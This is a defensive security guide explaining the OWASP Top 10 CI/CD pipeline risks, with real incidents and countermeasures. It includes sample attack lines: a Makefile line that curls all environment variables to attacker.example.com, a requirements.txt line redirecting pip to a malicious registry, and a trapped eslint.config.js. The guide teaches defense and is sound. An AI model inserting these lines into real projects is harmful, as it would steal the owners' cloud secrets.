Skip to content
Français
Sync not enabled: your progress stays in this browser My learning
Select theme
Français

OWASP Top 10 CI/CD: the 10 security risks of pipelines

By updated

Improve this page

Your CI/CD pipelines deploy code to production several times a day. Yet a single Makefile changed in a pull request can exfiltrate all your cloud secrets. A trapped eslint.config.js in a PR runs arbitrary JavaScript on your runner. This guide presents the 10 CI/CD security risks identified by OWASP, illustrates each with real attacks and concrete exploitation examples, and lists the countermeasures to apply first.

What you will learn

  • The 10 OWASP CI/CD risks: what each one means in practice and why it made the top 10
  • Real attacks: SolarWinds, Codecov, tj-actions, and how they exploited these flaws
  • Concrete exploitation examples: how a trapped Makefile, eslint.config.js or requirements.txt compromises a pipeline through a pull request
  • Countermeasures: for each risk, the actions to put in place right away
  • SOCLE anchoring: this guide helps you understand the threat; each scenario maps to the threat model of the SOCLE baseline (in French)

Why secure your CI/CD pipeline?

A CI/CD pipeline is a direct path between a developer and production. It handles source code, secrets, artifacts and access to the production infrastructure. If an attacker compromises that path, they can:

  • Inject malicious code straight into your production artifacts
  • Steal secrets (API keys, tokens, certificates) to reach your systems
  • Contaminate your supply chain and every customer downstream
  • Persist in your infrastructure through hard-to-detect backdoors

On the following diagram, the solid lines show the normal path: source code, dependencies and secrets enter the build, which produces artifacts deployed to production. The dashed lines go from the attacker to the five places they can target: source code, dependencies, build, secrets and artifacts.

Attack surface of a CI/CD pipeline: source code, dependencies and secrets feed the build, which produces artifacts deployed to production; the attacker can target the source code, the dependencies, the build, the secrets or the artifacts.AttackerSource codeDependenciesBuild and CISecretsArtifactsDeploymentProductionThreatComponentSecretLegitimate flowHostile flow
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

Recent attacks: why these risks are real

Before analysing each risk, here are four major attacks that show how critical CI/CD security is. Each one exploits one or more of the 10 OWASP risks.

The SolarWinds supply chain attack

Attackers (probably state-backed) compromised the SolarWinds build pipeline to inject a backdoor into the updates of the Orion software.

Impact: thousands of customers installed the trapped update; the attackers then exploited only a small share of them, among them US government agencies.

OWASP risks exploited:

  • CICD-SEC-1: Insufficient Flow Control Mechanisms
  • CICD-SEC-10: Insufficient Logging and Visibility

The 10 OWASP CI/CD security risks

OWASP numbers these risks from 1 to 10 without grouping them. To make them easier to remember, this guide sorts them into three families, a grouping of its own:

  • Control and access (SEC-1, SEC-2, SEC-5, SEC-10): who can do what in the pipeline, and with what traceability
  • Code and dependencies (SEC-3, SEC-4, SEC-8, SEC-9): where what enters and leaves the pipeline comes from, and how to verify it
  • Secrets and configuration (SEC-6, SEC-7): how to protect sensitive information and harden the infrastructure

The following diagram shows these three families as columns. Spot which one each risk belongs to before reading its section.

The ten OWASP CI/CD risks grouped into three families: control and access (SEC-1, SEC-2, SEC-5, SEC-10), code and dependencies (SEC-3, SEC-4, SEC-8, SEC-9), secrets and configuration (SEC-6, SEC-7).SEC-1flow controlSEC-2identity and accessSEC-5pipeline accessSEC-10loggingSEC-3dependency chainSEC-4poisoned pipelineSEC-8third-party servicesSEC-9artifact integritySEC-6credential hygieneSEC-7systemconfigurationAccess controlCode, dependenciesSecrets, config.risk
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

CICD-SEC-1: Insufficient Flow Control Mechanisms

The risk explained

CI/CD pipelines are chains of automated stages. Without validation gates, a malicious commit crosses the whole pipeline and reaches production within minutes. That is what happened with SolarWinds: the lack of controls let malicious code spread all the way to the updates shipped to thousands of customers.

Common problems

These four defects share the same root: no stage of the pipeline has the power to refuse what the previous one produced. The last item of the list is the quickest to fix: a branch protection rule requiring at least one review removes automatic merging in a few minutes of configuration, as shown in the Source code governance lesson. The other three require reworking the structure of the pipeline itself.

  • Automatic deployment to production without human approval
  • No separation between environments (dev, staging, prod)
  • No blocking security tests in the pipeline
  • Automatic merge without mandatory code review

Recommendations

  1. Implement mandatory gates

    Add validation stages (automated tests, security scans, code reviews) that must pass before moving on to the next stage.

  2. Require manual approvals for production

    Configure your pipeline so that a human explicitly validates every production deployment. On GitHub Actions, use environments with required reviewers.

  3. Segment the environments

    Clearly separate dev, staging and production. Limit automatic promotion to non-critical environments.

  4. Use multi-stage pipelines

    Define distinct stages with explicit passing conditions: unit tests, integration tests, security scan, approval, deployment.


CICD-SEC-2: Inadequate Identity and Access Management

The risk explained

CI/CD pipelines handle source code, secrets, artifacts and access to the production infrastructure. As soon as a compromised account holds excessive privileges, the attack surface explodes. In the PHP repository case, an attacker managed to push straight to the official repository, under the identity of two maintainers.

Common problems

These defects combine: a shared account without MFA whose access is never revoked stays exploitable for years after the person who created it has left. The last item is easily neglected, because no technical alert fires when an account becomes orphaned; it takes a periodic review of access, not an automatic control, to find it.

  • Accounts shared between several people or teams
  • No strong authentication (MFA) on privileged accounts
  • Administrative rights granted by default to every member of a project
  • No revocation of access when people leave

Recommendations

  1. Implement RBAC (Role-Based Access Control)

    Define precise roles (developer, reviewer, deployer, admin) with the minimum permissions each role needs.

  2. Enable MFA on every account

    Multi-factor authentication is non-negotiable for any access to the pipeline, the code repository and the secrets.

  3. Review access regularly

    Review every quarter who can access what. Remove obsolete access.

  4. Use federated identities

    Connect your CI/CD to your IdP (Identity Provider) to centralise identity management and automate revocations.


CICD-SEC-3: Dependency Chain Abuse

The risk explained

A CI/CD pipeline downloads dozens of dependencies: libraries, Docker images, tools. Each dependency is a potential entry point. The abuse techniques vary:

  • Dependency confusion: publishing a malicious package on a public registry under the same name as an internal package, hoping the package manager downloads the public version by mistake
  • Dependency hijacking: compromising a maintainer's account to publish a malicious version of an existing package (as with ua-parser-js in 2021)
  • Typosquatting: publishing a package whose name looks like a popular one (express becomes ecpress, lodash becomes 1odash)
  • Registry redirect: changing the package manager's configuration in a PR to redirect downloads to a registry the attacker controls

Recent attacks

The column to read first is Mechanism. In three cases out of four, the malicious code was not pushed by a stranger: it was published from a legitimate maintainer account the attacker had taken over. No code review on the consumer side catches that: the malicious version comes from the right account and the right registry. The colors / faker case escapes even that pattern, since the maintainer themselves sabotaged their package; neither provenance verification nor account reputation would have raised the alarm.

AttackYearMechanismImpact
ua-parser-js2021npm account hijackingCrypto-miner installed for users of the trapped version
coa / rc2021npm account hijackingData exfiltration
colors / faker2022Sabotage by the maintainerInfinite loops in the applications that used the package
tj-actions2025Retroactive tag rewritingSecrets of the 23,000+ repositories using the action at risk

Concrete exploitation: redirecting the pip registry through a pull request

The LOTP (Living Off The Pipeline) catalogue lists the development tools whose legitimate features can be hijacked in a CI/CD pipeline. One discreet CICD-SEC-3 vector is registry redirection: the attacker does not change the code, they change where the code is downloaded from.

The mechanism fits in one line. An -i flag added to the requirements.txt file of a Python project redirects every installation to a malicious registry:

requirements.txt (modified in a PR)
-i https://evil-registry.example.com/simple/
requests==2.34.2
flask==3.0.0

In a CI/CD pipeline running pip install -r requirements.txt, pip complies: it downloads the packages from the indicated registry, not from PyPI. The attacker publishes there trapped versions of requests and flask, whose setup.py carries exfiltration code.

The fix is not the one you would naturally assume. Adding -i https://pypi.org/simple/ on the command line does not protect you: when pip processes a requirements.txt that already carries a -i, the value in the file replaces the command line's, and the output shows Looking in indexes: https://evil-registry.example.com/simple/. Two settings hold against this redirection:

Hardened CI workflow
# Option 1: cut off remote indexes, serve from a verified mirror
- run: pip install --no-index --find-links /opt/wheels -r requirements.txt
# Option 2: reject the file if it redirects the index, then require hashes
# (--require-hashes only protects if requirements.txt was not modified by the PR)
- run: |
if grep -Eq '^[[:space:]]*(-i|--index-url|--extra-index-url|-f|--find-links|--trusted-host|-r|--requirement|-c|--constraint)|@[[:space:]]*[a-z+]+://' requirements.txt; then
echo "requirements.txt redirects the index or includes an external source" >&2
exit 1
fi
pip install -r requirements.txt --require-hashes

--no-index stops pip from querying an index, but not from adding a --find-links, a direct URL or a -r written in the file: that is why option 2 rejects them too, and why option 1 is only sound if the requirements.txt does not come from an unreviewed PR. --require-hashes does not prevent the redirection, but it makes the installation fail as soon as the artifact served does not match the expected hash, which is the case for a trapped package, provided the PR did not also change the hashes: cover requirements.txt with CODEOWNERS.

Recommendations

  1. Scan dependencies for vulnerabilities

    Use tools such as Trivy, Grype (in French) or OWASP Dependency-Check in your pipeline. Block the build when critical CVEs are found.

  2. Lock versions and hashes

    Use lock files (package-lock.json, requirements.txt with hashes, go.sum) and pin exact versions. Enable --require-hashes with pip.

  3. Neutralise the repository's registry directives

    Never trust a repository's configuration file to define the registry, but check how your tool resolves conflicts: the precedence rule differs from one ecosystem to another. With pip, an -i in requirements.txt wins over the command line's; only --no-index takes back control over the index. With npm, precedence goes to the command-line flag and the environment variable, whereas npm config set writes into the user file, which the repository's .npmrc overrides:

    - run: pip install --no-index --find-links /opt/wheels -r requirements.txt
    - run: npm ci --registry=https://registry.npmjs.org/
  4. Use an internal proxy or mirror

    Cache your dependencies in an internal registry (Nexus, Artifactory) to control what enters your pipeline.

  5. Verify provenance

    Prefer signed packages. Check SLSA attestations when available.

These five measures complement each other. The Securing dependencies lesson details locking and auditing per ecosystem, and the guide on package manager attacks describes five other ways of hijacking npm, pip or cargo through their configuration files.


CICD-SEC-4: Poisoned Pipeline Execution (PPE)

The risk explained

CI/CD pipelines are often defined by versioned files in the code repository (Pipeline as Code). OWASP distinguishes three PPE variants depending on how the attacker injects their code:

TypeWhat the attacker modifiesExample
Direct PPE (D-PPE)The pipeline definition file itself.github/workflows/ci.yml, .gitlab-ci.yml, Jenkinsfile
Indirect PPE (I-PPE)A file the pipeline calls without knowing itMakefile, eslint.config.js, build.gradle, .pylintrc
Public PPE (3PE)A PR from a fork on an open source projectAny file modifiable through a fork

The Indirect PPE variant easily flies under the radar: the pipeline file is not modified, branch protection is respected, yet the code the pipeline runs has been poisoned.

Concrete exploitation: Indirect PPE through a Makefile

Picture a classic Jenkins pipeline. The Jenkinsfile is protected: stored on the main branch, it requires an approval to be changed. But the Makefile is part of the source code. Anyone can modify it in a pull request.

The Jenkinsfile calls make build during the build stage:

Jenkinsfile (protected on main)
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
}
}
}
}

The legitimate Makefile:

Makefile (legitimate)
build:
echo "building..."
clean:
echo "cleaning..."

The attacker submits a PR modifying the Makefile. The change looks harmless, an added target or a changed build command:

Makefile (modified in the PR)
build:
curl -d "$$(env)" https://attacker.example.com/collect
echo "building..."
clean:
echo "cleaning..."

The pipeline triggered by the PR runs make build in a context where the AWS credentials are loaded as environment variables. The curl -d "$$(env)" command sends every environment variable (the AWS secrets included) to the attacker's server. The job finishes normally, and nobody notices anything.

Concrete exploitation: Indirect PPE through eslint.config.js

Another vector listed by LOTP: configuration files written in JavaScript. When your pipeline runs npx eslint ., Node.js loads and executes the eslint.config.js file. It is not passive configuration, it is a complete JavaScript module.

An attacker submits a PR modifying eslint.config.js to add code that runs on load:

eslint.config.js (modified in the PR)
// Malicious code executed when Node.js loads the config
const os = require("os");
console.log(`[EXFIL] hostname=${os.hostname()}, user=${os.userInfo().username}`);
// Normal ESLint configuration: the code above is hard to spot in review
module.exports = [
{
rules: {
"no-unused-vars": "warn",
},
},
];

The pipeline runs npx eslint . and the attacker's code executes before any code check at all. In a real context, the attacker would replace the console.log with a fetch() sending process.env, which holds every secret, to the attacker's server.

Recommendations

  1. Isolate the runners

    Use ephemeral runners (disposable containers or VMs). Each job then starts in a clean environment. On GitHub Actions, hosted runners already are; for self-hosted ones, configure --ephemeral mode.

  2. Split pipelines by trust level

    Create an untrusted pipeline (on PRs, without secrets, permissions: reduced to contents: read) and a trusted pipeline (on merges, with secrets). A PR's code has not been validated: it must never reach the secrets.

  3. Protect the exploitable files with CODEOWNERS

    Require the security team's approval for any change to Makefile, eslint.config.js, package.json, .pylintrc and the other files listed by LOTP:

    CODEOWNERS
    Makefile @security-team
    eslint.config.js @security-team
    package.json @security-team
    .pylintrc @security-team
  4. Force the linter configuration on the command line

    Ignore the repository's local configuration files and use an approved version:

    Terminal window
    # Ignore the repository's local configs
    eslint --config /opt/ci-configs/eslint.config.js src/
    pylint --rcfile=/dev/null src/
  5. Restrict external pull requests

    Require a manual approval before running the pipeline on PRs coming from forks. Limit secret access for those PRs.

  6. Scan workflows with dedicated tools

    Use Poutine and Zizmor to analyse your pipeline definitions and detect known vulnerabilities.


CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls)

The risk explained

PBAC (Pipeline-Based Access Control) defines which jobs, steps and environments are reachable, when, and with what privileges. Without fine-grained segmentation, an attacker who compromises a test job pivots to the deployment jobs.

The defect is that of a single, broadly scoped token, shared by every job of the pipeline. The job running unit tests then has the same access as the one deploying to production, although it needs none of it. Compromising any job, even the most harmless one, therefore hands over all the access. The fix lies in separate credentials limited per job, preferably short-lived.

Common problems

The symptom to look for in your own pipelines is the secret declared globally rather than at job level. In GitHub Actions, a permissions: block set once at the top of the file applies to every job, including those that only lint. In GitLab CI, a project variable is visible to every job not explicitly filtered by environment. The fix is to push each permission declaration down as close as possible to the job that really needs it.

  • Every job has access to the same secrets
  • No separation between "build" and "deploy" jobs
  • Tokens with excessive permissions (read and write on everything)
  • No restriction on which jobs can modify which artifacts

Recommendations

  1. Apply least privilege per job

    Each job only reaches the resources strictly needed for its task. A lint job has no need for deployment secrets. In GitHub Actions, declare permissions: explicitly in every job.

  2. Separate runners by criticality

    Use different runners for sensitive jobs (deployment, production access) and non-sensitive ones (tests, lint).

  3. Use time-limited tokens

    Prefer ephemeral tokens (OIDC) to static secrets. Keep their lifetime to the minimum needed. GitHub Actions, GitLab CI and the main clouds (AWS, GCP, Azure) all support OIDC authentication.

  4. Monitor resource usage

    Alert on unusual access: a test job reading production secrets, access to resources outside working hours.


CICD-SEC-6: Insufficient Credential Hygiene

The risk explained

A CI/CD pipeline handles many secrets: API keys, cloud access tokens, certificates, database credentials. They are often poorly protected: stored in clear, shared between teams, never renewed.

The 2025 tj-actions attack aimed precisely at exfiltrating secrets from the runners' memory. The values were encoded in base64, which is enough to defeat the automatic masking of GitHub Actions logs.

Common problems

The first item of the list is the easiest to detect: a committed secret is caught by a secret scanner. The third, the lack of rotation, leaves a blind spot. A cloud token never renewed stays valid even after leaking into an archived log, a screenshot or an old commit purged from the repository but still present in forks. Nothing flags that situation; only an expiry date set at creation bounds it in time.

  • Secrets in clear in configuration files (.yml, .env, Dockerfile)
  • The same keys shared between several teams or projects
  • No periodic rotation (some secrets stay unchanged for years)
  • Secrets shown in build logs

Recommendations

  1. Use a secret manager

    HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GitLab or GitHub native secrets. Never store secrets in the source code.

  2. Scan the code for exposed secrets

    Add Gitleaks, TruffleHog or GitHub Secret Scanning to your pipeline. Block commits containing secrets.

  3. Automate rotation

    Set up automatic rotation of critical secrets (cloud tokens, API keys). Ideally every 30 to 90 days.

  4. Mask secrets in logs

    Configure your CI/CD to automatically mask secret values in job output. Beware: the tj-actions attack defeated that mechanism with a simple base64 encoding.


CICD-SEC-7: Insecure System Configuration

The risk explained

Jenkins, GitLab CI, CircleCI, GitHub Actions: their default configurations often favour ease of use over security, especially for a self-hosted installation. Default passwords, exposed administration ports, disabled encryption: so many attack vectors as long as the installation is not hardened, and the risk is lower on a SaaS service whose vendor manages these settings.

The protection mechanisms exist in the product, but they may be inactive or badly set on a self-hosted installation, an old one, or one taken over as is: encryption between the controller and its agents is optional, the initial administration account may keep a known password (Jenkins and GitLab generate a random one at installation, check it on yours), and the administration interface may listen on every network interface. As long as nobody applies the vendor's hardening guide, these settings stay as they are.

Common problems

The list mixes two kinds of problems. The first five items are installation settings: they are fixed once, then checked by audit. The last one is structurally different: exploitable environment variables are not a configuration defect but a normal feature of the interpreter. BASH_ENV makes a non-interactive bash source the file it names, that is, execute it in the current shell (unless it runs in POSIX mode or under the name sh), _JAVA_OPTIONS injects arguments into every JVM started. No hardening of the CI server neutralises them; only an allow-list of the variables passed to jobs addresses them.

  • Default passwords left unchanged (admin/admin)
  • Administration interfaces exposed on the Internet
  • Unencrypted communication between components
  • Outdated plugins with known vulnerabilities
  • Debug or verbose logging enabled in production
  • Exploitable environment variables (BASH_ENV, _JAVA_OPTIONS, TAR_OPTIONS, npm_config_*), see the dedicated guide on environment variable poisoning

Recommendations

  1. Change every default password

    From installation, replace every default credential with strong, unique passwords.

  2. Enable TLS everywhere

    Encrypt every communication: web UI, API, communication with runners, access to artifact registries.

  3. Restrict network access

    Put your CI/CD behind a VPN or a bastion. Never expose the administration interface on the Internet.

  4. Keep plugins up to date

    Outdated plugins are a classic weak point. Audit them regularly, remove the unused ones, update the others.


CICD-SEC-8: Ungoverned Usage of 3rd Party Services

The risk explained

Modern pipelines integrate many third-party services: GitHub actions from the marketplace, Jenkins plugins, SaaS scanning or analysis services. Each integration is an extension of trust: you allow that service to access your code, your secrets, your artifacts.

The tj-actions attack showed the risk: an action used by 23,000+ repositories, compromised through a chain of attacks that started from another action, reviewdog/action-setup, and from the theft of a PAT (Personal Access Token) that followed.

Common problems

The second item deserves a closer look, because it contradicts a common intuition. An action's popularity is not a security indicator: the more an action is used, the more attractive a target it becomes, and the wider the damage when it is compromised. tj-actions/changed-files sat in 23,000+ repositories, which is what made its compromise so far-reaching. The useful criterion is not the number of stars but the repository's governance: number of active maintainers, MFA enforced on the organisation, tag protection. OpenSSF Scorecard measures part of it before you adopt an action.

  • Actions or plugins used without prior audit
  • Blind trust in "popular" services
  • No contract or SLA with third-party providers
  • No monitoring of those integrations

Recommendations

  1. Audit before integrating

    Before adding a GitHub action or a plugin, ask four questions: who maintains it? since when? is the code auditable? is the organisation verified?

  2. Pin versions by commit SHA

    Never reference an action by its tag (@v1). A tag can be moved retroactively to a malicious commit: that is exactly what happened with tj-actions. Use the commit SHA:

    # ❌ Dangerous: the tag is mutable, it can be moved
    - uses: owner/action@v1
    # Safe: the commit SHA is immutable, the version stays in a comment
    - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
  3. Limit permissions

    Use minimal permissions for each integration. A lint action does not need write on the repository.

  4. Monitor third-party dependencies

    Track the CVEs and advisories of the services you use. Configure Dependabot or Renovate for GitHub actions.


CICD-SEC-9: Improper Artifact Integrity Validation

The risk explained

Artifacts (binaries, Docker images, packages) are the final product of your pipeline. If they are not signed and their integrity is not checked at each stage, an attacker replaces them with malicious versions, in storage or in transit.

Without a verifiable signature or hash, nothing tells an authentic artifact from one modified in transit or replaced in the repository. The consumer downloads, installs and runs it with no way of noticing the tampering.

Common problems

The last item of the list is widespread without being seen as a risk. A Docker tag is only a named pointer to a digest, and that pointer can be moved at any time by whoever has push rights on the registry. Two successive deployments of image:latest, or even of image:1.2.3, can therefore pull two different contents without any trace appearing in your Kubernetes manifest. Only a digest reference @sha256: designates immutable content.

  • No cryptographic signature of artifacts
  • Storage in registries without access control
  • No integrity check before deployment
  • Docker images with the latest tag (mutable)

Recommendations

  1. Sign every artifact

    Use Cosign (Sigstore) to sign your Docker images. Use GPG or Sigstore for binaries and packages.

  2. Generate SLSA attestations

    Create provenance attestations that prove where, when and how the artifact was built.

  3. Verify before deploying

    Add signature verification to your deployment pipeline. Reject any unsigned artifact or any artifact with an invalid signature.

  4. Reference images by digest

    Prefer digests (image@sha256:...) to tags, even versioned ones: a tag can be moved.


CICD-SEC-10: Insufficient Logging and Visibility

The risk explained

Attacks on CI/CD pipelines are often discreet: a modified config file, a gradual exfiltration of secrets, code injected into one specific job. Without exhaustive logging or active monitoring, these attacks go unnoticed for months.

In the SolarWinds case, the trapped Orion update was distributed from March 2020 and the intrusion was only discovered in December 2020. The Indirect PPE examples (Makefile, eslint.config.js) of the CICD-SEC-4 section are designed to stay silent: the job finishes normally, and nothing in the logs signals the exfiltration.

Common problems

The retention item is the one you only notice once it is too late. How long build logs are kept varies by platform and can be configured: 90 days by default on GitHub Actions, for example. An Indirect PPE attack is often discovered much later: by the time the investigation starts, the logs of the compromised job may already be gone. The first item makes the second worse: logs scattered across the CI server, the artifact registry and the Git provider cannot rebuild a timeline unless they are brought together first.

  • Logs scattered across different systems, not correlated
  • No real-time monitoring of critical events
  • Log retention too short for investigation
  • Incomplete logs (no trace of who did what)

Recommendations

  1. Centralise the logs

    Aggregate every log (CI/CD, Git, registries, runners) into a central platform: ELK Stack, Splunk, Datadog, Grafana Loki.

  2. Set up alerts

    Alert on suspicious events: unusual logins, repeated authentication failures, changes to pipeline files, secret access from unexpected jobs.

  3. Keep logs long enough

    At least 6 months, ideally 12 months. Sophisticated attacks are often discovered long after they started.

  4. Include context in the logs

    Each entry should include: who (identity), what (action), when (precise timestamp), where (job, runner, IP), outcome (success or failure).

Summary: the 3 risk families

This grid is a starting point for an audit. The Question to ask column is worded to be put as is to the team running the pipeline: if nobody can answer, the matching family is a project to open. The three families are not handled at the same pace: Secrets and configuration can be addressed quickly with a secret manager and some hardening, whereas Code and dependencies means reworking how builds consume the outside world, which takes longer.

FamilyOWASP risksQuestion to ask
Control and accessSEC-1, SEC-2, SEC-5, SEC-10Who can trigger what, and is it traced?
Code and dependenciesSEC-3, SEC-4, SEC-8, SEC-9Where does what enters the pipeline come from, and how is it verified?
Secrets and configurationSEC-6, SEC-7Are my secrets protected and my infrastructure hardened?

To order these projects over time, the Where to start guide suggests a progression that starts from the quick, low-cost steps and works up to provenance controls.

Key points

  • The OWASP Top 10 CI/CD covers risks specific to pipelines, not to web applications: they are two distinct lists
  • The incidents presented cover several families: flow control and access (SolarWinds: SEC-1 and SEC-10; PHP: SEC-1 and SEC-2), exposed credentials (Codecov, tj-actions: SEC-6) and third-party dependencies or services (tj-actions: SEC-3 and SEC-8); Indirect PPE (SEC-4) appears in none of them, yet it is a discreet vector
  • Indirect PPE (SEC-4) flies under the radar because it exploits legitimate tools (make, eslint, pip, pylint): the pipeline file is not even modified. The LOTP catalogue lists 61 of them
  • Registry redirection (SEC-3) turns a simple -i in requirements.txt or a modified .npmrc into massive exfiltration. The countermeasure depends on the tool: for pip, --no-index with a verified mirror or rejecting a requirements.txt that redirects, followed by --require-hashes; for npm, the --registry flag or an environment variable
  • Pin everything by SHA: GitHub actions, Docker images, dependencies; mutable tags served as a vector in the 2025 tj-actions attack
  • Start with three immediate actions: enable MFA on every CI/CD account, scan your secrets with Gitleaks, and separate your PR pipelines (untrusted) from your merge pipelines (trusted)
  • Back to the threat model: each of these risks maps to a vector of the SOCLE threat model (in French), which says which requirements cover it

Knowledge check

Check that the essentials of this lesson are in place. The questions only cover what has just been explained here.

Knowledge check

Check what you have learned with this interactive quiz

8 questions
8 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer

External resources